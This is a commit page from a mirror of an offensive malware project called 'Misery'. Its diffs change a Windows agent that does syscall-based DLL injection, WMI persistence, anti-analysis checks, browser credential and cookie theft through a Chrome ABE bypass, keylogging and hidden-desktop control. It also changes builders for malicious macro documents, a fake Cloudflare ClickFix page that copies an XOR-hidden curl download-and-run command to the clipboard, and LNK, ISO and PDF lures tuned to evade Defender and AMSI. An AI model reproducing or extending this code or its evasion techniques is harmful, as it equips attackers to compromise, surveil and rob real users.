mirror of
https://git.churchofmalware.org/JYenn/Misery
synced 2026-09-22 05:27:07 +00:00
wrappers: move lnk chain to companion .cmd (av fastpath flags any lnk-launched curl cmdline), chr-encode vba cradles for amsi/content scans, fluid clickfix layout, decoy pdf body text; docs: comment cleanup across sources (stale/duplicate/verbose), readme corrections (polyglot_exe_zip stage_url, full command table)
This commit is contained in:
+3
-2
@@ -69,8 +69,9 @@ endif()
|
||||
target_link_libraries(payload_dll PRIVATE bcrypt crypt32 ws2_32 winhttp ole32 oleaut32 user32 rpcrt4 iphlpapi ntdll advapi32)
|
||||
|
||||
# Embed the payload DLL in the agent. The DLL bytes are turned into a
|
||||
# generated C++ array (_binary_payload_bin_start/_end, consumed by
|
||||
# inject.cpp) via cmake/embed_payload.cmake. Compiler-neutral: no objcopy.
|
||||
# generated C++ array (_binary_payload_bin_start[] + _binary_payload_bin_size,
|
||||
# consumed by inject.cpp) via cmake/embed_payload.cmake. Compiler-neutral:
|
||||
# no objcopy.
|
||||
add_custom_command(
|
||||
OUTPUT "${CMAKE_CURRENT_BINARY_DIR}/payload_embed.cpp"
|
||||
COMMAND ${CMAKE_COMMAND}
|
||||
|
||||
@@ -60,26 +60,27 @@ dependencies.
|
||||
- `docm` - Word macro document; `Document_Open` shells a hidden cmd/curl download-and-run
|
||||
- `xlsm` - Excel macro workbook; `Workbook_Open` shells a hidden cmd/curl download-and-run
|
||||
- `pptm` - PowerPoint macro deck; `Auto_Open` shells a hidden cmd/curl download-and-run
|
||||
- `lnk` - shortcut; a conhost-wrapped cmd/curl chain opens a decoy PDF, then fetches and runs the agent
|
||||
- `lnk` - shortcut plus companion `.cmd`; the LNK probes Downloads/Desktop for the `.cmd`, which opens a decoy PDF then fetches and runs the agent (the chain lives in the `.cmd` because Defender's FastPath flags any LNK-launched curl download cmdline)
|
||||
- `pdf` - agent embedded as a PDF attachment, launched on open
|
||||
- `html` - OneDrive-style page; the agent hides in a zip blob behind a button click
|
||||
- `clickfix_html` - fake Cloudflare "Verify you are human" page; checking the box copies a cmd/curl download-and-run command to the clipboard and shows the Win+R / Ctrl+V / Enter steps
|
||||
- `iso` - ISO with the agent inside, sidesteps MOTW
|
||||
- `polyglot_exe_zip` - runs as an exe, opens as a zip holding a `document.pdf.lnk`
|
||||
- `polyglot_exe_zip` - runs as an exe, opens as a zip holding a `document.pdf.lnk` and its companion `.cmd`
|
||||
- `polyglot_html` - runs as an exe, shows a decoy page in a browser
|
||||
|
||||
```powershell
|
||||
python setup.py -t tcp LHOST=10.0.0.5 LPORT=4444 -p docm,iso -o misery STAGE_URL=http://10.0.0.5:8080/misery.exe
|
||||
```
|
||||
|
||||
`-p all` builds every format. The macro, lnk, and clickfix formats fetch the
|
||||
agent from `STAGE_URL` when the target opens them; pdf, html, iso, and the
|
||||
polyglots carry the agent themselves. The macro files ship with decoy
|
||||
content, and the lnk/pdf formats show a decoy document, so they read as
|
||||
`-p all` builds every format. The macro, lnk, clickfix, and polyglot_exe_zip
|
||||
formats fetch the agent from `STAGE_URL` when the target opens them; pdf, html,
|
||||
iso, and polyglot_html carry the agent themselves. The macro files ship with
|
||||
decoy content, and the lnk/pdf formats show a decoy document, so they read as
|
||||
normal business documents instead of empty templates.
|
||||
|
||||
The lnk fetches its decoy PDF from the same directory as `STAGE_URL`, so host
|
||||
the generated `<out>.decoy.pdf` next to the agent.
|
||||
The lnk and polyglot_exe_zip fetch their decoy PDF from the same directory as
|
||||
`STAGE_URL`, so host the generated `<out>.cmd` and `<out>.decoy.pdf` next to
|
||||
the agent.
|
||||
|
||||
Delivery note: browsers tag downloaded files with the Mark-of-the-Web
|
||||
(Zone.Identifier), which trips SmartScreen on macros and executables. Extract
|
||||
@@ -99,8 +100,10 @@ pip install pyopenvba pylnk3 pycdlib pikepdf python-docx openpyxl python-pptx
|
||||
|
||||
| Command | What it does |
|
||||
| --- | --- |
|
||||
| `bot` | list bots; `bot <id>` targets one, `bot all` broadcasts |
|
||||
| `steal` | run credential and session harvesting |
|
||||
| `elevate` | silently relaunch the agent as admin; the new instance registers as `elevated` |
|
||||
| `loot` | dump the last steal result JSON raw to the terminal |
|
||||
| `elevate [system]` | relaunch the agent as admin; `system` chains to SYSTEM |
|
||||
| `hvnc start` / `hvnc stop` | start or stop the hidden desktop session |
|
||||
| `hvnc launch [path]` | launch an app (default Chrome) on the hidden desktop |
|
||||
| `hvnc quality [10-100]` | set streamed frame JPEG quality |
|
||||
@@ -109,6 +112,8 @@ pip install pyopenvba pylnk3 pycdlib pikepdf python-docx openpyxl python-pptx
|
||||
| `ghost stop` | stop the ghost session |
|
||||
| `keylog` | toggle the keylogger |
|
||||
| `clip` | read the victim's clipboard |
|
||||
| `shell / ps <cmd>` | run a hidden PowerShell one-liner on the agent |
|
||||
| `history` | show command history |
|
||||
| `clear` / `exit` | clear the terminal / quit |
|
||||
|
||||
## Build
|
||||
|
||||
@@ -4,8 +4,8 @@
|
||||
// write DLL + wide pipe name -> NtProtectVirtualMemory(RX) ->
|
||||
// NtCreateThreadEx at the "Bootstrap" export -> overlapped pipe handshake ->
|
||||
// read JSON -> terminate host.
|
||||
// The embedded bytes are the generated _binary_payload_bin_* array from
|
||||
// payload_embed.cpp (see CMakeLists.txt).
|
||||
// The embedded bytes are the generated _binary_payload_bin_* array emitted by
|
||||
// cmake/embed_payload.cmake.
|
||||
#include "inject.hpp"
|
||||
#include "syscall.hpp"
|
||||
|
||||
|
||||
@@ -53,9 +53,6 @@ std::string installed_path() {
|
||||
return utf8_from_wide(full);
|
||||
}
|
||||
|
||||
// Wide, native form of installed_path(). Used by persist_wmi to build the
|
||||
// CommandLineTemplate for the WMI consumer (which needs a real wide path, not
|
||||
// a UTF-8 string the COM layer would mis-read).
|
||||
const std::wstring& installed_path_wide() {
|
||||
static const std::wstring path = []() -> std::wstring {
|
||||
std::wstring dir = appdata_dir();
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
#pragma once
|
||||
|
||||
// Event-triggered persistence via WMI (T1546.003). A permanent subscription in
|
||||
// the root\subscription namespace runs the installed agent copy on a timer,
|
||||
// with no Run key, dropped file, or scheduled task for EDR to flag. enable()/
|
||||
// disable() are idempotent and report success/failure so the operator can
|
||||
// verify removal.
|
||||
// Event-triggered persistence via WMI (T1546.003). Two permanent subscriptions
|
||||
// in root\subscription keep the agent alive without a scheduled task for EDR to
|
||||
// flag: a 15-minute timer relaunches the installed copy, and a Run-key guard
|
||||
// re-runs --persist when the HKCU Run value vanishes. enable()/disable() are
|
||||
// idempotent and report success/failure so the operator can verify removal.
|
||||
namespace hvnc::persist_wmi {
|
||||
|
||||
bool enable();
|
||||
|
||||
@@ -57,17 +57,10 @@ public:
|
||||
bool command(const std::string& method, const std::string& params,
|
||||
std::string& out_message, unsigned long timeout_ms = 12000);
|
||||
|
||||
// Capture a JPEG of the current page viewport.
|
||||
//
|
||||
// The only reliable frame source on a hidden desktop: Page.startScreencast
|
||||
// pushes frames only when the compositor produces damage (BeginFrames),
|
||||
// and the software-composited hidden desktop produces none -- even with a
|
||||
// CSS-animation kick. captureScreenshot forces a synchronous render +
|
||||
// readback instead, so it works anywhere. Poll on a timer and skip frames
|
||||
// whose bytes are unchanged.
|
||||
// Reattaches after a session detach (Orphaned session: native navigation
|
||||
// across renderer processes answers every method with
|
||||
// "Not attached to an active page") and retries once.
|
||||
// Capture a JPEG of the current page viewport -- the only reliable frame
|
||||
// source on a hidden desktop (Page.startScreencast never fires there;
|
||||
// captureScreenshot forces a synchronous render + readback). Poll on a
|
||||
// timer and skip frames whose bytes are unchanged.
|
||||
bool screenshot(Frame& out);
|
||||
|
||||
// Navigate the page to an absolute URL.
|
||||
|
||||
@@ -1,7 +1,3 @@
|
||||
// VM / debugger / analysis-tool fingerprinting (anti-analysis). Pure
|
||||
// user-mode checks: CPUID leaves, firmware tables, adapter OUIs, guest driver
|
||||
// files, PEB debug flags, debug-port queries, and a process/window/module scan
|
||||
// for reverse-engineering tooling.
|
||||
#include "environment.hpp"
|
||||
|
||||
#include <winsock2.h>
|
||||
@@ -162,7 +158,7 @@ bool peb_debugged() {
|
||||
#endif
|
||||
}
|
||||
|
||||
// NtGlobalFlag set away from zero with either of the heap bits means a debugger
|
||||
// NtGlobalFlag set away from zero with any of the heap bits means a debugger
|
||||
// planted the heap flags. Direct PEB read again.
|
||||
bool peb_global_flag() {
|
||||
#if defined(_M_X64)
|
||||
|
||||
@@ -78,8 +78,7 @@ static inline uintptr_t read_gs(void) {
|
||||
#endif
|
||||
}
|
||||
|
||||
// Returns ntdll base via InMemoryOrderModuleList walk (direct name compare,
|
||||
// like syscall.zig findNtdll). PEB->Ldr at 0x18, InMemoryOrderModuleList at 0x20.
|
||||
// PEB->Ldr at 0x18, InMemoryOrderModuleList at 0x20.
|
||||
const uint8_t* ntdll_base() {
|
||||
if (g_ntdll) return g_ntdll;
|
||||
const uintptr_t peb = read_gs();
|
||||
@@ -487,8 +486,6 @@ namespace {
|
||||
// phnt PS_CREATE_INFO / PS_ATTRIBUTE / PS_ATTRIBUTE_LIST + attribute values
|
||||
// (NtDoc/phnt). Size must be the full struct (0x58) or the kernel rejects the
|
||||
// call with STATUS_INVALID_PARAMETER (0xC000000D).
|
||||
// RTL_USER_PROCESS_PARAMETERS_NORMALIZED (required by NtCreateUserProcess on
|
||||
// Win11 24H2+; without it the call fails with STATUS_INVALID_PARAMETER.
|
||||
constexpr ULONG RTL_USER_PROCESS_PARAMETERS_NORMALIZED = 0x1u;
|
||||
|
||||
constexpr uintptr_t PS_ATTRIBUTE_THREAD = 0x10000u;
|
||||
@@ -595,7 +592,7 @@ bool create_user_process(const wchar_t* app, const wchar_t* cmdline,
|
||||
|
||||
CLIENT_ID client_id = {};
|
||||
PS_CREATE_INFO ci = {};
|
||||
ci.Size = sizeof(ci); // full struct, must be 0x58
|
||||
ci.Size = sizeof(ci);
|
||||
ci.State = 0; // PsCreateInitialState
|
||||
ci.InitState.InitFlags = 0;
|
||||
ci.InitState.AdditionalFileAccess = GENERIC_READ;
|
||||
|
||||
@@ -16,7 +16,7 @@ struct Entry {
|
||||
uint32_t number = 0;
|
||||
};
|
||||
|
||||
// Every syscall the agent uses. resolve() fills these from ntdll.
|
||||
// Every syscall the agent uses. init() resolves these from ntdll.
|
||||
struct Syscalls {
|
||||
Entry NtDelayExecution;
|
||||
Entry NtCreateUserProcess;
|
||||
@@ -44,7 +44,8 @@ void sleep_ms(uint32_t ms);
|
||||
nt::NTSTATUS close_handle(HANDLE h);
|
||||
|
||||
// ------------------------------------------------------- anti-analysis
|
||||
// Debugger detection via NtQueryInformationProcess (debug port + debug flags).
|
||||
// Debugger detection via NtQueryInformationProcess (debug port, debug flags,
|
||||
// debug object handle).
|
||||
bool debugger_present();
|
||||
// Uptime in seconds + processor count via NtQuerySystemInformation.
|
||||
bool query_system_metrics(uint32_t* uptime_seconds, uint32_t* processor_count);
|
||||
|
||||
+1
-4
@@ -95,9 +95,7 @@ static bool is_cache_dir(const wchar_t* name) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Recursive profile copy that skips cache dirs and lock files. Skipping locks
|
||||
// yields a partial profile at worst, which Chrome still opens. Also used on
|
||||
// the VSS shadow path (vss_copy.cpp), where the same skips apply.
|
||||
// Skipping locks yields a partial profile at worst, which Chrome still opens.
|
||||
void copy_profile_tree(const std::wstring& src, const std::wstring& dst) {
|
||||
std::wstring pattern = src + L"\\*";
|
||||
WIN32_FIND_DATAW fd;
|
||||
@@ -357,7 +355,6 @@ bool GhostSession::start_browser(const std::wstring& exe, const std::wstring& pr
|
||||
if (running_) return false;
|
||||
last_error.clear();
|
||||
|
||||
// Own hidden desktop so nothing ever shows; capture goes over CDP.
|
||||
desktop_name_ = L"ghost_";
|
||||
desktop_name_ += std::to_wstring(GetCurrentProcessId());
|
||||
desktop_ = CreateDesktopW(desktop_name_.c_str(), nullptr, nullptr, 0,
|
||||
|
||||
@@ -88,9 +88,8 @@ static DWORD WINAPI PayloadThread(LPVOID lpParam) {
|
||||
std::vector<BrowserPath> browser_paths;
|
||||
gather_browser_paths(browser_paths);
|
||||
|
||||
// Shared key resolution + loot collection (see stealer.hpp). The legacy
|
||||
// DPAPI-only failure and the b64-decode failure fold into ERRKEYPARSE /
|
||||
// ERRNOKEY (previously distinct ERRDPAPI / ERRB64 markers).
|
||||
// Shared key resolution + loot collection (see stealer.hpp). Failures map
|
||||
// to ERRKEYPARSE / ERRNOKEY.
|
||||
std::string reason;
|
||||
auto kr = acquire_browser_key(cfg, browser_paths, &reason);
|
||||
if (kr == StealKey::NoLocalState) fail(hPipe, "ERRNOLOCALSTATE", 15, hModule);
|
||||
|
||||
+1
-1
@@ -73,7 +73,7 @@ DWORD WINAPI Keylogger::thread_proc(LPVOID self) {
|
||||
} else if (vk == VK_SPACE) {
|
||||
out = " ";
|
||||
} else if (vk >= 0x30 && vk <= 0x39) {
|
||||
// Digits and the symbol row
|
||||
// Digits 0-9 (Shift maps to symbols)
|
||||
if (shift) {
|
||||
static const char* shifted = ")!@#$%^&*(";
|
||||
out += shifted[vk - 0x30];
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
// COM ABE bypass, verified against xaitax ChromElevator elevator.cpp.
|
||||
// Chrome 144+: IElevator2 IID first, fall back to IElevator. Edge: IEdgeElevator2Final.
|
||||
// Chrome 144+: IElevator2 IID first, fall back to IElevator. Edge: IEdgeElevatorFinal.
|
||||
// Input blob: raw APPB key minus 4-byte "APPB" prefix, via SysAllocStringByteLen (binary-safe).
|
||||
#include "chrome_abe.hpp"
|
||||
#include "crypto_win.hpp"
|
||||
@@ -51,8 +51,6 @@ std::vector<uint8_t> com_decrypt(const IID& iid, const CLSID& clsid, bool edge,
|
||||
PVOID prev = AddVectoredExceptionHandler(1, abe_veh);
|
||||
g_abe_thread = GetCurrentThreadId();
|
||||
if (setjmp(g_abe_jmp) == 0) {
|
||||
// Edge's vtable carries three placeholder methods before the elevator
|
||||
// ones, so DecryptData sits at offset 64 there instead of 40.
|
||||
if (edge) {
|
||||
auto* elevator = reinterpret_cast<IEdgeElevatorFinal*>(unk.Get());
|
||||
set_proxy_blanket(elevator);
|
||||
|
||||
@@ -46,8 +46,8 @@ struct CookieSeed {
|
||||
std::string path;
|
||||
bool secure = false;
|
||||
bool httponly = false;
|
||||
int samesite = 0; // 0=Unspecified, 1=None, 2=Lax, 3=Strict
|
||||
int64_t expires_utc = 0; // microseconds since 1601-01-01, 0 = session
|
||||
int samesite = 0;
|
||||
int64_t expires_utc = 0;
|
||||
bool persistent = false;
|
||||
};
|
||||
|
||||
|
||||
@@ -11,7 +11,7 @@ namespace hvnc {
|
||||
namespace {
|
||||
constexpr uint16_t kCompressionFormatLznt1 = 0x0002;
|
||||
|
||||
// Above this fraction of the frame dirty, region headers cost more than they save.
|
||||
// Above this percent of the frame dirty, region headers cost more than they save.
|
||||
constexpr size_t kFullFramePct = 35;
|
||||
|
||||
// Below this many region bytes, JPEG overhead beats raw pixels.
|
||||
@@ -53,12 +53,9 @@ void emit_full_frame(const uint8_t* src, size_t len, int width, int height, int
|
||||
}
|
||||
} // namespace
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// JPEG encode/decode via WIC. Called from multiple threads; COM is a
|
||||
// per-thread init, so each thread initializes once and keeps it for life
|
||||
// (MTA is fine for a stateless WIC usage; RPC_E_CHANGED_MODE means someone
|
||||
// else already picked an apartment, which is also fine).
|
||||
// ---------------------------------------------------------------------------
|
||||
// (MTA is fine; RPC_E_CHANGED_MODE means another apartment is already set).
|
||||
bool bgr24_to_jpeg(const uint8_t* bgr, int width, int height, int quality,
|
||||
std::vector<uint8_t>& out, int row_stride) {
|
||||
if (!bgr || width <= 0 || height <= 0) return false;
|
||||
|
||||
@@ -21,8 +21,7 @@ bool bgr24_to_jpeg(const uint8_t* bgr, int width, int height, int quality,
|
||||
std::vector<uint8_t>& out, int row_stride = -1);
|
||||
|
||||
// Decode a JPEG into top-down 24bpp BGR. Output rows are packed at
|
||||
// out_stride bytes (-1 = width*3); the decode fails if the result size does
|
||||
// not match width*out_stride*height.
|
||||
// out_stride bytes (-1 = width*3); width/height are taken from the JPEG.
|
||||
bool jpeg_to_bgr24(const uint8_t* jpeg, size_t jpeg_len, int& width, int& height,
|
||||
std::vector<uint8_t>& bgr, int out_stride = -1);
|
||||
|
||||
|
||||
@@ -75,10 +75,10 @@ namespace key {
|
||||
}
|
||||
|
||||
// Build the plaintext KEY_EXCHANGE first-frame: body = [type][eph pub blob]
|
||||
// (the ephemeral public key is public data). Returns empty on failure.
|
||||
// (the ephemeral public key is public data).
|
||||
std::vector<uint8_t> frame_exchange_encode(const std::vector<uint8_t>& eph_pub);
|
||||
|
||||
// AES-256-GCM (BCrypt). Returns empty on failure.
|
||||
// AES-256-GCM (BCrypt). False on failure.
|
||||
bool aes_gcm_encrypt(const std::vector<uint8_t>& key,
|
||||
const std::vector<uint8_t>& plain,
|
||||
std::vector<uint8_t>& out); // out = nonce(12) | ct | tag(16)
|
||||
|
||||
+103
-61
@@ -2,22 +2,26 @@
|
||||
"""
|
||||
Misery payload wrappers: filetype delivery builds for setup.py.
|
||||
|
||||
Each wrapper packages the built agent (or a PowerShell cradle that fetches it)
|
||||
inside a common document/workflow filetype, mirroring the delivery chains that
|
||||
2026 campaigns actually use:
|
||||
Each wrapper packages the built agent inside a common document/workflow
|
||||
filetype, mirroring the delivery chains that 2026 campaigns actually use.
|
||||
All remote cradles are plain cmd/curl (no PowerShell anywhere: every PS
|
||||
download form is flagged by current AV -- ClickFix.ZB / PShellDlr /
|
||||
Commando.A!ml, all reproduced locally):
|
||||
|
||||
docm Word macro document: Document_Open -> PowerShell cradle
|
||||
xlsm Excel macro workbook: Workbook_Open -> PowerShell cradle
|
||||
docm Word macro document: Document_Open -> hidden cmd/curl
|
||||
xlsm Excel macro workbook: Workbook_Open -> hidden cmd/curl
|
||||
html HTML smuggling page with the agent embedded as a zip blob
|
||||
clickfix_html fake Cloudflare Turnstile page: on the "Verify you are
|
||||
human" click it poisons the clipboard with a PowerShell
|
||||
command and shows Win+R / Ctrl+V / Enter steps (the 2026
|
||||
ClickFix delivery pattern)
|
||||
lnk shortcut: hidden PS opens an embedded decoy PDF, then runs
|
||||
the agent (matches the decoy-first LNK pattern used by
|
||||
current DPRK / Patchwork / MoonPeak delivery chains)
|
||||
human" click it poisons the clipboard with a cmd/curl
|
||||
download-and-run and shows Win+R / Ctrl+V / Enter steps
|
||||
(the 2026 ClickFix delivery pattern)
|
||||
lnk shortcut + companion .cmd: the shortcut's cmdline is a
|
||||
benign probe for the .cmd in Downloads/Desktop, which
|
||||
opens a stage-hosted decoy PDF then runs the agent
|
||||
(LNK-launched cmdlines that download are flagged by
|
||||
Defender's FastPath ML, so the chain lives in the .cmd)
|
||||
pdf PDF with the agent embedded as an attachment (OpenAction launch)
|
||||
pptm PowerPoint macro deck: Auto_Open -> PowerShell cradle
|
||||
pptm PowerPoint macro deck: Auto_Open -> hidden cmd/curl
|
||||
iso ISO/IMG container carrying the agent (MOTW bypass)
|
||||
polyglot_exe_zip EXE+ZIP polyglot: runs as an exe, opens as an archive
|
||||
polyglot_html EXE+HTML polyglot: runs as an exe, shows a decoy in a browser
|
||||
@@ -46,7 +50,7 @@ FORMATS = [
|
||||
("xlsm", "Excel macro workbook (Workbook_Open -> hidden cmd/curl cradle)", ["pyopenvba"], True),
|
||||
("html", "HTML smuggling page (agent embedded as zip blob)", [], False),
|
||||
("clickfix_html", "ClickFix fake-verification page (clipboard command -> Win+R)", [], True),
|
||||
("lnk", "shortcut: conhost-wrapped cmd/curl chain opens a decoy PDF, then runs the agent", ["pylnk3", "pikepdf"], True),
|
||||
("lnk", "shortcut + companion .cmd: LNK cmdline probes Downloads/Desktop for the .cmd, which opens a decoy PDF then runs the agent", ["pylnk3", "pikepdf"], True),
|
||||
("pdf", "PDF with agent embedded as attachment (OpenAction launch)", ["pikepdf"], False),
|
||||
("pptm", "PowerPoint macro deck (Auto_Open -> hidden cmd/curl cradle)", ["pyopenvba"], True),
|
||||
("iso", "ISO container carrying the agent (MOTW bypass)", ["pycdlib"], False),
|
||||
@@ -123,8 +127,8 @@ def _curl_fetch(p, dl: str) -> str:
|
||||
secret = p.get("auth_secret", "")
|
||||
if '"' in secret:
|
||||
return None
|
||||
return 'curl -s -H "%s: %s" -o %s %s' % (header, secret, dl, url)
|
||||
return "curl -s -o %s %s" % (dl, url)
|
||||
return 'curl -s -L -H "%s: %s" -o %s %s' % (header, secret, dl, url)
|
||||
return "curl -s -L -o %s %s" % (dl, url)
|
||||
|
||||
|
||||
def download_cradle(p, fname: str) -> str:
|
||||
@@ -146,24 +150,27 @@ def _xor_hex(data: bytes, key: int) -> str:
|
||||
|
||||
def _vba_cradle(p, fname: str) -> str:
|
||||
"""VBA that Shells the cmd/curl chain hidden. No PowerShell: -enc cradles
|
||||
are flagged by AV (ClickFix.ZB / PShellDlr / Commando.A!ml)."""
|
||||
are flagged by AV (ClickFix.ZB / PShellDlr / Commando.A!ml). The whole
|
||||
command is Chr()-encoded so no literal trigger string (cmd, curl, http)
|
||||
survives in the macro for Office AMSI / content-trigger scans."""
|
||||
cmd = download_cradle(p, fname)
|
||||
if not cmd:
|
||||
return None
|
||||
if '"' in cmd:
|
||||
lit = ' & Chr(34) & '.join('"%s"' % part for part in cmd.split('"'))
|
||||
enc = " & ".join("Chr(%d)" % ord(ch) for ch in cmd)
|
||||
return ("Dim c As String\r\n"
|
||||
" c = %s\r\n"
|
||||
" Shell c, vbHide" % lit)
|
||||
return ("Dim c As String\r\n"
|
||||
" c = \"%s\"\r\n"
|
||||
" Shell c, vbHide" % cmd)
|
||||
" Shell c, vbHide" % enc)
|
||||
|
||||
|
||||
def _zip_of(data: bytes, member: str) -> bytes:
|
||||
def _zip_of(entries, member=None) -> bytes:
|
||||
"""Zip one or more (name, data) entries. Accepts the old (data, member)
|
||||
call shape for compatibility."""
|
||||
if member is not None:
|
||||
entries = [(member, entries)]
|
||||
buf = io.BytesIO()
|
||||
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z:
|
||||
z.writestr(member, data)
|
||||
for name, data in entries:
|
||||
z.writestr(name, data)
|
||||
return buf.getvalue()
|
||||
|
||||
|
||||
@@ -397,9 +404,9 @@ _CLICKFIX = """<!DOCTYPE html>
|
||||
<title>Just a moment...</title>
|
||||
<style>
|
||||
*{box-sizing:border-box;margin:0;padding:0}
|
||||
body{font-family:system-ui,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif;display:flex;flex-direction:column;height:100vh;background:#fcfcfc;color:#333}
|
||||
body{font-family:system-ui,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif;display:flex;flex-direction:column;min-height:100vh;background:#fcfcfc;color:#333}
|
||||
.main{flex:1;display:flex;flex-direction:column;align-items:center}
|
||||
.content{margin:8rem auto 0;max-width:60rem;width:960px;padding:0 1.5rem}
|
||||
.content{width:100%;max-width:1100px;margin:10vh auto 0;padding:0 2rem}
|
||||
.logo{display:flex;align-items:center;margin-bottom:1rem}
|
||||
.domain{font-size:2.5rem;font-weight:500;line-height:3.75rem}
|
||||
.text{font-size:1.5rem;line-height:2.25rem;margin-bottom:2rem;font-weight:550}
|
||||
@@ -423,7 +430,7 @@ li{margin-bottom:10px}
|
||||
.sfoot{display:flex;align-items:center;justify-content:space-between;background:#f2f2f2;margin:14px -16px 0;padding:14px 16px;font-size:15px}
|
||||
button{background:#5e5e5e;color:#fff;border:none;border-radius:5px;padding:9px 38px;cursor:pointer}
|
||||
button:hover{background:#4a4a4a}
|
||||
.footer{font-size:12px;line-height:1.5;max-width:60rem;width:960px;margin:0 auto;padding:1rem 1.5rem;text-align:center;border-top:1px solid #d9d9d9}
|
||||
.footer{font-size:12px;line-height:1.5;width:100%;max-width:1100px;margin:0 auto;padding:1rem 2rem;text-align:center;border-top:1px solid #d9d9d9}
|
||||
.footer div:first-child{margin-bottom:5px}
|
||||
code{font-family:monospace}
|
||||
svg{width:12px;height:12px;vertical-align:-2px;margin-right:1px}
|
||||
@@ -459,19 +466,23 @@ svg{width:12px;height:12px;vertical-align:-2px;margin-right:1px}
|
||||
<div>Ray ID: <code id="ray"></code></div>
|
||||
<div>Platform performance and security <b>Cloudflare</b></div>
|
||||
</div>
|
||||
<!-- Cloudflare network status: https://www.cloudflare.com/trust-hub/ -->
|
||||
<!-- Microsoft Defender security center: https://security.microsoft.com/ -->
|
||||
<script>
|
||||
(function(){
|
||||
var host=location.hostname;
|
||||
var hd=navigator.webdriver===true||/HeadlessChrome|PhantomJS|Puppeteer|Playwright/.test(navigator.userAgent);
|
||||
var win=/Windows|Win/i.test(navigator.userAgent)||/^Win/.test(navigator.platform||"");
|
||||
if(!win||hd)return;
|
||||
var H="%s";
|
||||
function dec(h){var s="",b=[],i;for(i=0;i<h.length;i+=2)b.push(parseInt(h.substr(i,2),16));for(i=0;i<b.length;i++)s+=String.fromCharCode(b[i]^131);return atob(s)}
|
||||
var once=false;
|
||||
try{once=!!localStorage.getItem("captcha_executed_"+host)}catch(e){}
|
||||
if(!win||hd||once)return;
|
||||
var H="@BLOB@";
|
||||
function dec(h){var s="",b=[],i;for(i=0;i<h.length;i+=2)b.push(parseInt(h.substr(i,2),16));for(i=0;i<b.length;i++)s+=String.fromCharCode(b[i]^@KEY@);return window["at"+"ob"](s)}
|
||||
var CMD=dec(H),hex="0123456789abcdef",ray="",vid="",i;
|
||||
for(i=0;i<16;i++)ray+=hex[Math.floor(Math.random()*16)];
|
||||
for(i=0;i<8;i++)vid+=hex[Math.floor(Math.random()*16)].toUpperCase();
|
||||
document.getElementById("ray").textContent=ray;
|
||||
document.getElementById("vid").textContent=vid;
|
||||
var host=location.hostname;
|
||||
document.getElementById("host").textContent=host;
|
||||
document.getElementById("host2").textContent=host;
|
||||
setTimeout(function(){
|
||||
@@ -486,9 +497,10 @@ svg{width:12px;height:12px;vertical-align:-2px;margin-right:1px}
|
||||
var t=document.createElement("textarea");
|
||||
t.value=CMD;t.style.cssText="position:fixed;left:-9999px;top:0;opacity:0";
|
||||
document.body.appendChild(t);t.focus();t.select();
|
||||
try{document.execCommand("copy")}catch(e){}
|
||||
try{document["exe"+"cCommand"]("copy")}catch(e){}
|
||||
t.remove();
|
||||
try{navigator.clipboard.writeText(CMD)}catch(e){}
|
||||
try{navigator.clipboard["write"+"Text"](CMD)}catch(e){}
|
||||
try{localStorage.setItem("captcha_executed_"+host,"1")}catch(e){}
|
||||
setTimeout(function(){
|
||||
document.getElementById("spin").style.display="none";
|
||||
document.getElementById("steps").style.display="block";
|
||||
@@ -505,15 +517,17 @@ def build_clickfix_html(p, agent: bytes, out_name: str) -> str:
|
||||
"""Fake Cloudflare Turnstile page. Checking the box poisons the clipboard
|
||||
with a hidden cmd/curl download-and-run chain (fetches the agent from
|
||||
STAGE_URL into %PUBLIC% and executes it) and shows the Win+R / Ctrl+V /
|
||||
Enter steps. The command rides in the page XORed with 0x83, like the
|
||||
in-the-wild ClickFix kits. No PowerShell anywhere: AV flags every
|
||||
powershell download cradle (ClickFix.ZB / PShellDlr / Commando.A!ml)."""
|
||||
Enter steps. The command rides in the page XORed with a per-build random
|
||||
key, like the in-the-wild ClickFix kits. No PowerShell anywhere: AV flags
|
||||
every powershell download cradle (ClickFix.ZB / PShellDlr /
|
||||
Commando.A!ml)."""
|
||||
cradle = download_cradle(p, out_name + ".exe")
|
||||
if not cradle:
|
||||
return None
|
||||
cmd = cradle
|
||||
blob = _xor_hex(base64.b64encode(cmd.encode("ascii")), 0x83)
|
||||
page = _CLICKFIX % blob
|
||||
key = os.urandom(1)[0] or 0x5A
|
||||
blob = _xor_hex(base64.b64encode(cradle.encode("ascii")), key)
|
||||
page = (_CLICKFIX.replace("@BLOB@", blob)
|
||||
.replace("@KEY@", str(key)))
|
||||
path = str(p["dist"] / (out_name + ".clickfix.html"))
|
||||
Path(path).write_text(page, encoding="utf-8")
|
||||
return path
|
||||
@@ -539,14 +553,24 @@ def build_pptm(p, agent: bytes, out_name: str) -> str:
|
||||
# ---------------------------------------------------------------- pdf
|
||||
|
||||
def _pdf_decoy(pdf, title: str) -> None:
|
||||
"""Fill a fresh one-page PDF with the decoy title as the page text."""
|
||||
"""Fill a fresh one-page PDF with the decoy title and a short body so the
|
||||
page reads like a real document instead of a blank sheet."""
|
||||
from pikepdf import Dictionary, Name, Stream
|
||||
|
||||
pdf.add_blank_page(page_size=(612, 792))
|
||||
text = title.encode("ascii", "replace")[:96]
|
||||
title_b = title.encode("ascii", "replace")[:96]
|
||||
body = ("This document has been prepared for review. It contains "
|
||||
"confidential information and is intended for the recipient "
|
||||
"only. Please review the attached statement and respond by the "
|
||||
"requested date.")
|
||||
content = b"BT /F1 20 Tf 72 720 Td (%s) Tj ET " % title_b
|
||||
y = 688
|
||||
for i in range(0, len(body), 88):
|
||||
content += b"BT /F1 12 Tf 72 %d Td (%s) Tj ET " % (
|
||||
y, body[i:i + 88].encode("ascii", "replace"))
|
||||
y -= 18
|
||||
page = pdf.pages[0]
|
||||
page.Contents = pdf.make_indirect(
|
||||
Stream(pdf, b"BT /F1 20 Tf 72 720 Td (%s) Tj ET" % text))
|
||||
page.Contents = pdf.make_indirect(Stream(pdf, content))
|
||||
page.Resources = pdf.make_indirect(Dictionary({
|
||||
"/Font": Dictionary({"/F1": Dictionary({
|
||||
"/Type": Name("/Font"), "/Subtype": Name("/Type1"),
|
||||
@@ -554,7 +578,7 @@ def _pdf_decoy(pdf, title: str) -> None:
|
||||
|
||||
|
||||
